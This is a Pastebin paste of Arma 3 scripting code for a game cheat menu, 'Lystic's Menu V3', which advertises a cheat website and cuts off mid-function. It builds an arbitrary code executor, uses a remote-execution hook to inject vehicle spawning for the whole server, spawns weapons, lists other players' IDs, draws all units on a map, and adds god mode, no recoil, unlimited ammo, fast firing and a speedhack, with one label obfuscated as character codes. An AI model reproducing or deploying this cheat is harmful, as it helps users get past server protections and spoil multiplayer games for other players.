Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- OMFG_MENU = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- ['SETTINGS'] call {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- Alien_Toggle = false;
- Vehicle_Toggle = false;
- Bruce_Toggle = false;
- Unlim_Toggle = false;
- execMapFunc = false;
- mapFunc = "";
- XposPlayer = safeZoneX + 0.8;
- XposMain = safezoneX + 1;
- XposSub = safezoneX + 1.2;
- XposExtra = safezoneX + 1.4;
- YposTitle = safezoneY + 0.1;
- width_all = 0.2;
- width_show_hide = width_all - 0.050;
- width_e = 0.8;
- heightH = 0.08;
- heightS = 0.06;
- font_height = 0.030;
- white_colour = [1,1,1,1];
- title_background = [0,0,0,0.3];
- header_text = [0,1,1,1];
- script_text = [1,1,1,1];
- blue_text = [0,1,1,1];
- on_text = [0.41,1,0.7,1];
- off_text = [1,0.41,0.41,1];
- black_text = [0, 0, 0, 1];
- red_colour = [1,0,0,1];
- green_colour = [0,1,0,1];
- font_title = "TahomaB";
- fontmain = "PuristaBold";
- fontthird = "PuristaSemiBold";
- };
- ['MISC'] call {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- fn_displayAdvert = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableserialization;
- _isChatOpen = {!isNull (findDisplay 24)};
- _idd = _this;
- while {true} do {
- waitUntil{!isNull (findDisplay _idd)};
- _display = (findDisplay _idd);
- _advert = _display ctrlCreate ["RscStructuredText",-1];
- _width = (safezonew);
- _height = (safezoneh/30);
- _x = safezonex+(safezonew/2) - (_width/2);
- _y = safezoney;
- _advert ctrlsetbackgroundcolor [0,0,0,0];
- _advert ctrlsettextcolor header_text;
- _advert ctrlSetPosition[_x,_y,_width,_height];
- _advert ctrlSetStructuredText parseText "<t align=""center"">Lystic's Menu V3 - www.EqualCheats.com</t>";
- _advert ctrlCommit 0;
- waitUntil {
- if(call _isChatOpen) then {
- if(ctrlShown _advert) then {
- _advert ctrlShow false;
- };
- } else {
- if !(ctrlShown _advert) then {
- _advert ctrlShow true;
- };
- };
- isNull (findDisplay _idd)
- };
- };
- };
- fn_Exec = {
- //put remote here stolen by spyc0der
- };
- ['MENUS'] call {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- get_display = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- (findDisplay 999);
- };
- create_display = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- createDialog "RscCredits";
- };
- init_menu = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(isNull (call get_display)) then {
- call create_display;
- OPEN_LISTS = [];
- with uinamespace do {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- CTRL_BTN_LIST = [[],[],[],[]];
- };
- [] spawn titles_n_shit;
- [] spawn eXecutorr;
- [] spawn menu_headers;
- [] spawn player_list;
- [] spawn refresh_players;
- [] spawn fn_loadMap;
- [] spawn weapon_list;
- [] spawn vehicle_list;
- };
- };
- vehicle_list = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableSerialization;
- _TreeView = (call get_display) ctrlCreate ["RscTree",-95];
- _TreeView ctrlSetPosition [Xposplayer+width_e, YposTitle, (width_e/2), heightS*15 + heightH + 0.6];
- _TreeView ctrlSetTextColor [1,1,1,0.6];
- _TreeView ctrlSetBackgroundColor [0,0,0,0.3];
- _TreeView spawn loadVehicles;
- _TreeView ctrlAddEventHandler ["TreeDblClick",{(_this select 0) spawn spawnVehicle}];
- _TreeView ctrlsetfont "EtelkaNarrowMediumPro";
- _TreeView ctrlCommit 0;
- uiNamespace setVariable ["VEHICLE_LIST", _TreeView];
- };
- loadVehicles = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableserialization;
- _tree = _this;
- if(isNil "var_Menu_vehicle") then {
- var_Menu_vehicle = [];
- _cfg = configFile >> "cfgVehicles";
- for "_i" from 0 to (count _cfg)-1 do
- {
- _class = _cfg select _i;
- if (isClass _class) then
- {
- _typeName = configName _class;
- _image = (getText (_class >> "picture"));
- _name = getText(configfile >> "cfgVehicles" >> _typeName >> "displayName");
- if ((getNumber (_class >> "scope") == 2) && (getText (_class >> "picture")!= "") && ((_typeName isKindOf "LandVehicle") || (_typeName isKindOf "Air") || (_typeName isKindOf "Ship")) && !((_typeName isKindOf "ParachuteBase") or (_typeName isKindOf "BIS_Steerable_Parachute"))) then
- {
- var_Menu_vehicle = var_Menu_vehicle + [[_name,_typeName,_image]];
- };
- };
- };
- };
- {
- _array = _x;
- _text = _array select 0;
- _data = _array select 1;
- _image = _array select 2;
- _index = _tree tvAdd[[],_text];
- _tree tvSetPicture [[_index],_image];
- _tree tvSetData [[_index],_data];
- } forEach var_Menu_vehicle;
- _tree ctrlCommit 0;
- };
- spawnVehicle = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(isNil 'LY_PublishInjected') then {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- [{
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- call compile ("
- _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};
- Publish_Vehicle = {
- _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};
- _name = _this select 0;
- _pos = _this select 1;
- _dir = _this select 2;
- _obj = _name create" + "Vehicle _pos;
- _obj setDir _dir;
- };
- ");
- },false] call fn_Exec;
- LY_PublishInjected = true;
- uisleep 1.5;
- };
- _ctrl = _this;
- _curSelArr = tvCurSel _ctrl;
- _truepath = [_curSelArr select 0];
- _data = _ctrl tvData _truepath;
- _veh_type_LPMEnigg4 = _data;
- hint format["spawning %1",_veh_type_LPMEnigg4];
- _dir = getdir vehicle player;
- _pos_LP = getPos vehicle player;
- _pos_LP = [(_pos_LP select 0)+8*sin(_dir),(_pos_LP select 1)+8*cos(_dir),0];
- _xpos = _pos_LP select 0;
- _ypos = _pos_LP select 1;
- _zpos = _pos_LP select 2;
- _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + (str [_veh_type_LPMEnigg4, [_xpos,_ypos,_zpos],_dir]) + " spawn Publish_Vehicle;");
- [_code,false] call fn_Exec;
- cutText [format["%1 spawned",_veh_type_LPMEnigg4], "PLAIN DOWN"];
- };
- weapon_list = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableSerialization;
- _TreeView = (call get_display) ctrlCreate ["RscTree",-95];
- _TreeView ctrlSetPosition [Xposplayer-(width_e/2), YposTitle, (width_e/2), heightS*15 + heightH + 0.6];
- _TreeView ctrlSetTextColor [1,1,1,0.6];
- _TreeView ctrlSetBackgroundColor [0,0,0,0.3];
- _TreeView spawn loadWeapons;
- _TreeView ctrlAddEventHandler ["TreeDblClick",{(_this select 0) spawn spawnWeapon}];
- _TreeView ctrlsetfont "EtelkaNarrowMediumPro";
- _TreeView ctrlCommit 0;
- uiNamespace setVariable ["WEAPON_LIST", _TreeView];
- };
- spawnWeapon = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _ctrl = _this;
- _curSelArr = tvCurSel _ctrl;
- _truepath = [_curSelArr select 0];
- _data = _ctrl tvData _truepath;
- _weaponHolder = "GroundWeaponHolder" createVehicle (position player);
- _weaponHolder setposatl (getposatl player);
- _mags = getArray (configFile >> "CfgWeapons" >> _data >> "magazines");
- if(str(_mags) != "[]") then {
- _mag = _mags select floor(random(count(_mags)));
- _weaponHolder addWeaponCargoGlobal [_data,1];
- _weaponHolder addMagazineCargoGlobal [_mag,5];
- hint "Your weapon is here!\nCheck below your feet!";
- } else {
- _weaponHolder addItemCargoGlobal [_data,1];
- hint "Your item is here!\nCheck below your feet!";
- };
- true;
- };
- loadWeapons = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableserialization;
- _tree = _this;
- if(isNil "var_Menu_weapon") then {
- var_Menu_weapon = [];
- _cfg = configFile >> "cfgWeapons";
- for "_i" from 0 to (count _cfg)-1 do
- {
- _class = _cfg select _i;
- if (isClass _class) then
- {
- _typeName = configName _class;
- _image = (getText (_class >> "picture"));
- _name = getText(configfile >> "cfgWeapons" >> _typeName >> "displayName");
- if ((getNumber (_class >> "scope") == 2) && (getText (_class >> "picture") != "")) then
- {
- var_Menu_weapon = var_Menu_weapon + [[_name,_typeName,_image]]
- };
- };
- };
- };
- {
- _array = _x;
- _text = _array select 0;
- _data = _array select 1;
- _image = _array select 2;
- _index = _tree tvAdd[[],_text];
- _tree tvSetPicture [[_index],_image];
- _tree tvSetData [[_index],_data];
- } forEach var_Menu_weapon;
- _tree ctrlCommit 0;
- };
- refresh_players = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableSerialization;
- _EXIT_4 = (call get_display)ctrlCreate ["RscButton",-95];
- _EXIT_4 buttonSetAction "[] spawn refresh_plrs";
- _EXIT_4 ctrlSetText "REFRESH";
- _EXIT_4 ctrlSetTooltip "Refresh Player List";
- _EXIT_4 ctrlSetTooltipColorBox blue_text;
- _EXIT_4 ctrlSetTooltipColorText script_text;
- _EXIT_4 ctrlSetTooltipColorShade black_text;
- _EXIT_4 ctrlSetFont font_title;
- _EXIT_4 ctrlSetFontHeight font_height;
- _EXIT_4 ctrlSetPosition [Xposplayer, YposTitle + 0.68 + heightS + heightS*5, width_e, heightS];
- _EXIT_4 ctrlCommit 0;
- uiNamespace setVariable ["REFRESH_PLR", _EXIT_4];
- };
- titles_n_shit = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableSerialization;
- _Menu_title = (call get_display) ctrlCreate ["RscText", -1];
- _Menu_title ctrlSetText " Lystical v3";
- _Menu_title ctrlSetFade 0;
- _Menu_title ctrlSetFont font_title;
- _Menu_title ctrlSetTextColor header_text;
- _Menu_title ctrlSetPosition [XposMain + 0.1, YposTitle - 0.075, width_all, heightH];
- _Menu_title ctrlCommit 0;
- uiNamespace setVariable ["Menu_title", _Menu_title];
- _Menu_title_BG = (call get_display) ctrlCreate ["RscBackgroundGUIDark", -2];
- _Menu_title_BG ctrlSetPosition [XposMain + 0.1, YposTitle - 0.062, width_all, heightS];
- _Menu_title_BG ctrlCommit 0;
- uiNamespace setVariable ["Menu_title_BG", _Menu_title_BG];
- _line_bitchez = (call get_display) ctrlCreate ["RscBackgroundGUI", -96];
- _line_bitchez ctrlSetPosition [XposPlayer, YposTitle, 0.8, 0.620];
- _line_bitchez ctrlSetBackgroundColor [0,0,0,0.50];
- _line_bitchez ctrlCommit 0;
- uiNamespace setVariable ["line_bitchez", _line_bitchez];
- };
- eXecutorr = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableSerialization;
- _jmexec_box = (call get_display) ctrlCreate ["RscEdit", -99];
- _jmexec_box ctrlSetText "Type Code Here";
- _jmexec_box ctrlSetTooltip "Type code here to be executed";
- _jmexec_box ctrlSetTooltipColorBox blue_text;
- _jmexec_box ctrlSetTooltipColorText script_text;
- _jmexec_box ctrlSetTooltipColorShade black_text;
- _jmexec_box ctrlSetFont fontthird;
- _jmexec_box ctrlSetTextColor white_colour;
- _jmexec_box ctrlSetPosition [Xposplayer, YposTitle + 0.620, width_e, heightS];
- _jmexec_box ctrlCommit 0;
- ctrlActivate _jmexec_box;
- uiNamespace setVariable ["jmexec_box", _jmexec_box];
- _jmexec_butt = (call get_display) ctrlCreate ["RscButton",-98];
- _jmexec_butt buttonSetAction "_fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};_HELLO_CODE = (ctrlText (uiNamespace getVariable 'jmexec_box'));[] spawn compile ([_HELLO_CODE] call fn_preprocess)";
- _jmexec_butt ctrlSetText "EXECUTE";
- _jmexec_butt ctrlSetTooltip "Execute Code";
- _jmexec_butt ctrlSetTooltipColorBox blue_text;
- _jmexec_butt ctrlSetTooltipColorText script_text;
- _jmexec_butt ctrlSetTooltipColorShade black_text;
- _jmexec_butt ctrlSetFont fontmain;
- _jmexec_butt ctrlSetTextColor white_colour;
- _jmexec_butt ctrlSetPosition [Xposplayer, YposTitle + 0.68, width_e, heightS];
- _jmexec_butt ctrlCommit 0;
- uiNamespace setVariable ["jmexec_butt", _jmexec_butt];
- _jmexec_bg = (call get_display) ctrlCreate ["RscBackgroundGUIDark", -97];
- _jmexec_bg ctrlSetBackgroundColor title_background;
- _jmexec_bg ctrlSetPosition [Xposplayer, YposTitle + 0.620, width_e, heightS];
- _jmexec_bg ctrlCommit 0;
- uiNamespace setVariable ["jmexec_bg", _jmexec_bg];
- };
- menu_headers = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableSerialization;
- _player_menu = (call get_display) ctrlCreate ["RscButton", -4];
- _player_menu buttonSetAction "0 spawn fn_toggleList";
- _player_menu ctrlSetText toUpper "PLAYER";
- _player_menu ctrlSetTooltip "Click for drop down Player Menu";
- _player_menu ctrlSetTooltipColorText script_text;
- _player_menu ctrlSetTooltipColorBox blue_text;
- _player_menu ctrlSetTooltipColorShade black_text;
- _player_menu ctrlSetFont fontmain;
- _player_menu ctrlSetTextColor header_text;
- _player_menu ctrlSetPosition [XposPlayer, YposTitle, width_all, heightH];
- _player_menu ctrlCommit 0;
- uiNamespace setVariable ["CTRL_BTN_LVL1", _player_menu];
- _Main_Menu = (call get_display) ctrlCreate ["RscButton", -5];
- _Main_Menu buttonSetAction "1 spawn fn_toggleList";
- _Main_Menu ctrlSetText toUpper "MAIN";
- _Main_Menu ctrlSetTooltip "Click for drop down Main Menu";
- _Main_Menu ctrlSetTooltipColorText script_text;
- _Main_Menu ctrlSetTooltipColorBox blue_text;
- _Main_Menu ctrlSetTooltipColorShade black_text;
- _Main_Menu ctrlSetFont fontmain;
- _Main_Menu ctrlSetTextColor header_text;
- _Main_Menu ctrlSetPosition [XposMain, YposTitle, width_all, heightH];
- _Main_Menu ctrlCommit 0;
- uiNamespace setVariable ["CTRL_BTN_LVL2", _Main_Menu];
- _Sub_Menu = (call get_display) ctrlCreate ["RscButton", -6];
- _Sub_Menu buttonSetAction "2 spawn fn_toggleList";
- _Sub_Menu ctrlSetText toUpper "MISC";
- _Sub_Menu ctrlSetTooltip "Click for drop down Sub Menu";
- _Sub_Menu ctrlSetTooltipColorText script_text;
- _Sub_Menu ctrlSetTooltipColorBox blue_text;
- _Sub_Menu ctrlSetTooltipColorShade black_text;
- _Sub_Menu ctrlSetFont fontmain;
- _Sub_Menu ctrlSetTextColor header_text;
- _Sub_Menu ctrlSetPosition [XposSub, YposTitle, width_all, heightH];
- _Sub_Menu ctrlCommit 0;
- uiNamespace setVariable ["CTRL_BTN_LVL3", _Sub_Menu];
- _Extra_Menu = (call get_display) ctrlCreate ["RscButton", -55];
- _Extra_Menu buttonSetAction "3 spawn fn_toggleList";
- _Extra_Menu ctrlSetText toUpper "REM EXEC";
- _Extra_Menu ctrlSetTooltip "Click for drop down New Shiz Menu";
- _Extra_Menu ctrlSetTooltipColorText script_text;
- _Extra_Menu ctrlSetTooltipColorBox blue_text;
- _Extra_Menu ctrlSetTooltipColorShade black_text;
- _Extra_Menu ctrlSetFont fontmain;
- _Extra_Menu ctrlSetTextColor header_text;
- _Extra_Menu ctrlSetPosition [XposExtra, YposTitle, width_all, heightH];
- _Extra_Menu ctrlCommit 0;
- uiNamespace setVariable ["CTRL_BTN_LVL4", _Extra_Menu];
- };
- player_list = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableSerialization;
- _plrTree = (call get_display) ctrlCreate ["RscTree",-50];
- _plrTree ctrlSetPosition [Xposplayer, YposTitle + 0.68 + heightS, width_e, heightS*5];
- _plrTree ctrlSetTextColor [1,1,1,0.6];
- _plrTree ctrlSetBackgroundColor [0,0,0,0.3];
- _plrTree call fn_loadCurrentPlayers;
- _plrTree ctrlsetfont "EtelkaNarrowMediumPro";
- _plrTree ctrlCommit 0;
- uiNamespace setVariable ["player_list", _plrTree];
- };
- refresh_plrs = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableserialization;
- _ctrl = uiNamespace getVariable "player_list";
- if(!isNull _ctrl) then {
- _ctrl spawn fn_loadCurrentPlayers;
- };
- };
- fn_getSideFlag = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _object = _this;
- _side = side _object;
- _flag = "\A3\data_f\Flags\flag_white_co.paa";
- if(_side == east) then {
- _flag = "\A3\data_f\Flags\flag_red_co.paa";
- };
- if(_side == west) then {
- _flag = "\A3\data_f\Flags\flag_blue_co.paa";
- };
- if(_side == INDEPENDENT) then {
- _flag = "\A3\data_f\Flags\flag_green_co.paa";
- };
- _flag;
- };
- fn_getSideColor = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _object = _this;
- _side = side _object;
- _color = [0,0,0,1];
- if(_side == east) then {
- _color = [1,0,0,1];
- };
- if(_side == west) then {
- _color = [0,0,1,1];
- };
- if(_side == CIVILIAN) then {
- _color = [1,1,1,1];
- };
- if(_side == INDEPENDENT) then {
- _color = [0,1,0,1];
- };
- _color;
- };
- fn_loadCurrentPlayers = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableserialization;
- _ctrl = _this;
- tvClear _ctrl;
- _units = [];
- {
- if(isPlayer _x) then {player reveal _x;_units set[count(_units),_x];};
- } forEach allunits;
- {
- if(alive _x && side _x == blufor) then {
- _flag = _x call fn_getSideFlag;
- _mainIndex = _ctrl tvAdd[[],name _x];
- _ctrl tvSetPicture [[_mainIndex],_flag];
- _ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
- _ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
- _wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
- _magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
- {
- _text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
- _wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
- _ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
- } forEach (weapons player);
- _magInfo = [];
- _magCount = [];
- {
- if !(_x in _magInfo) then {
- _magInfo set[count(_magInfo),_x];
- _magCount set[count(_magCount),1];
- } else {
- _cnt = _magCount select (_magInfo find _x);
- _magCount set[count(_magCount),_cnt+1];
- };
- } forEach (magazines player);
- {
- _count = _magCount select _forEachIndex;
- _text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
- _wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
- _ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
- _ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
- } forEach _magInfo;
- };
- } forEach _units;
- {
- if(alive _x && side _x == opfor) then {
- _flag = _x call fn_getSideFlag;
- _mainIndex = _ctrl tvAdd[[],name _x];
- _ctrl tvSetPicture [[_mainIndex],_flag];
- _ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
- _ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
- _wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
- _magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
- {
- _text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
- _wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
- _ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
- } forEach (weapons player);
- _magInfo = [];
- _magCount = [];
- {
- if !(_x in _magInfo) then {
- _magInfo set[count(_magInfo),_x];
- _magCount set[count(_magCount),1];
- } else {
- _cnt = _magCount select (_magInfo find _x);
- _magCount set[count(_magCount),_cnt+1];
- };
- } forEach (magazines player);
- {
- _count = _magCount select _forEachIndex;
- _text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
- _wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
- _ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
- _ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
- } forEach _magInfo;
- };
- } forEach _units;
- {
- if(alive _x && side _x == independent) then {
- _flag = _x call fn_getSideFlag;
- _mainIndex = _ctrl tvAdd[[],name _x];
- _ctrl tvSetPicture [[_mainIndex],_flag];
- _ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
- _ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
- _wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
- _magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
- {
- _text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
- _wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
- _ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
- } forEach (weapons player);
- _magInfo = [];
- _magCount = [];
- {
- if !(_x in _magInfo) then {
- _magInfo set[count(_magInfo),_x];
- _magCount set[count(_magCount),1];
- } else {
- _cnt = _magCount select (_magInfo find _x);
- _magCount set[count(_magCount),_cnt+1];
- };
- } forEach (magazines player);
- {
- _count = _magCount select _forEachIndex;
- _text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
- _wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
- _ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
- _ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
- } forEach _magInfo;
- };
- } forEach _units;
- {
- if(alive _x && side _x == civilian) then {
- _flag = _x call fn_getSideFlag;
- _mainIndex = _ctrl tvAdd[[],name _x];
- _ctrl tvSetPicture [[_mainIndex],_flag];
- _ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
- _ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
- _wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
- _magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
- {
- _text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
- _wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
- _ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
- } forEach (weapons player);
- _magInfo = [];
- _magCount = [];
- {
- if !(_x in _magInfo) then {
- _magInfo set[count(_magInfo),_x];
- _magCount set[count(_magCount),1];
- } else {
- _cnt = _magCount select (_magInfo find _x);
- _magCount set[count(_magCount),_cnt+1];
- };
- } forEach (magazines player);
- {
- _count = _magCount select _forEachIndex;
- _text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
- _wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
- _ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
- _ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
- } forEach _magInfo;
- };
- } forEach _units;
- };
- fn_loadMap = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableSerialization;
- _map = (call get_display) ctrlCreate ["RscMapControl",-50];
- _map ctrlsetposition [Xposplayer, YposTitle + 0.68 + heightS*2 + heightS*5, width_e, heightS*8];
- _map ctrlCommit 0;
- _map ctrlAddEventHandler ["Draw",{
- _map = _this select 0;
- {
- _cfg = configFile >> "cfgVehicles" >> typeof _x;
- _text = format[toString[10] + "%1 (%2)",getText(_cfg >> "DisplayName"),count(crew _x)];
- {
- _text = _text + ":"+ (name _x);
- } forEach (crew _x);
- _map drawIcon [getText(_cfg >> "Icon"),_x call fn_getSideColor,getposatl _x,24,24,getdir _x,_text,0,0.03,"EtelkaNarrowMediumPro","right"];
- } forEach vehicles;
- }];
- _map ctrlAddEventHandler ["Draw",{
- _map = _this select 0;
- {
- if(vehicle _x == _x && alive _x && isPlayer _x) then {
- _cfg = configFile >> "cfgVehicles" >> typeof _x;
- _map drawIcon [getText(_cfg >> "Icon"),_x call fn_getSideColor,getposatl _x,24,24,getdir _x,name _x,0,0.03,"EtelkaNarrowMediumPro","right"];
- };
- } forEach allUnits;
- }];
- };
- };
- ['CHEATS'] call {
- S_godMode = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(s_godmode_t) then {
- player removeAllEventHandlers "HandleDamage";
- player addEventHandler ["HandleDamage",{false}];
- Hint "GOD MODE ON";
- while{s_godmode_t} do {
- player setDamage 0;
- player allowDamage false;
- };
- } else {
- Hint "GOD MODE OFF";
- player removeAllEventHandlers "HandleDamage";
- player allowDamage true;
- };
- };
- S_NoRecoil = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(S_NoRecoil_t) then {
- hint 'No Fatigue On';
- while{S_NoRecoil_t} do {
- player setUnitRecoilCoefficient 0;
- waitUntil{unitRecoilCoefficient player != 0 || !S_NoRecoil_t};
- };
- } else {
- hint 'No Recoil Off';
- };
- };
- S_noFatigue = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(S_noFatigue_t) then {
- hint 'No Fatigue On';
- while{S_noFatigue_t} do {
- player enableFatigue false;
- player setFatigue 0;
- waitUntil{getFatigue player != 0 || !S_noFatigue_t};
- };
- } else {
- hint 'No Fatigue Off';
- };
- };
- S_noFall = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(S_noFall_t) then {
- hint 'No Fall On';
- _sleep = 0.2;
- while{S_noFall_t} do {
- if(player == vehicle player) then {
- _z = velocity player select 2;
- if(_z < -3) then {
- _arr = velocity player;
- _arr set[2,1];
- player setVelocity _arr;
- _sleep = 0;
- } else {
- _sleep = 0.2;
- };
- } else {
- _sleep = 0.3;
- };
- uiSleep _sleep;
- };
- } else {
- hint 'No Fall Off';
- };
- };
- S_unlimitedAmmo = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(S_unlimitedAmmo_t) then {
- hint 'Unlimited Ammo On';
- while{S_unlimitedAmmo_t} do {
- (vehicle player) setVehicleAmmo 1;
- uiSleep 0.1;
- };
- } else {
- hint 'Unlimited Ammo Off';
- };
- };
- s_fastShoot = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(s_fastShoot_t) then {
- hint 'Fast Shoot On';
- while{s_fastShoot_t} do {
- (vehicle player) setWeaponReloadingTime [vehicle player,currentWeapon player,0];
- uiSleep 0.1;
- };
- } else {
- hint 'Fast Shoot Off';
- };
- };
- s_vehGod = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(S_VEHgod_TOGGLE) then {hintSilent format["Vehicle %1 Enabled",toString [71,111,100,77,111,100,101]];} else {hintSilent format["Vehicle %1 Disabled",toString [71,111,100,77,111,100,101]];};
- while{S_VEHgod_TOGGLE} do {
- waitUntil{vehicle player != player};
- _veh = vehicle player;
- _veh removeAllEventHandlers "handleDamage";
- _veh addEventHandler ["handleDamage", {false}];
- _veh allowDamage false;
- _veh setDamage 0;
- _veh setFuel 1;
- waitUntil{vehicle player == player};
- _veh removeAllEventHandlers "handleDamage";
- _veh addEventHandler ["handleDamage", {true}];
- _veh allowDamage true;
- };
- };
- s_speedhack = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(s_speedhack_t) then {
- hint "Speedhack ON";
- cutText [format["Speehack ON"], "PLAIN DOWN"];
- waituntil {!isnull (finddisplay 46)};
- Speed_Hack_cus = (findDisplay 46) displayAddEventHandler ["KeyDown","(_this select 1) call cus_SPEED_DOWN;false"];
- cus_SPEED_DOWN =
- {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _cus_Vehicle = vehicle player;
- if(_cus_Vehicle == player)exitwith{};
- if(isEngineOn _cus_Vehicle) then
- {
- switch (_this) do
- {
- case 18:
- {
- if(isEngineOn _cus_Vehicle) then
- {
- _cus_Vehicle setVelocity [(velocity _cus_Vehicle select 0) * 1.02, (velocity _cus_Vehicle select 1) * 1.02, (velocity _cus_Vehicle select 2) * 0.99];
- };
- };
- };
- };
- };
- } else {
- hint "Speedhack OFF";
- cutText [format["Speedhack OFF"], "PLAIN DOWN"];
- cus_SPEED_DOWN = nil;
- (findDisplay 46) displayRemoveEventHandler ["KeyDown", Speed_Hack_cus];
- };
- };
- s_invis = {
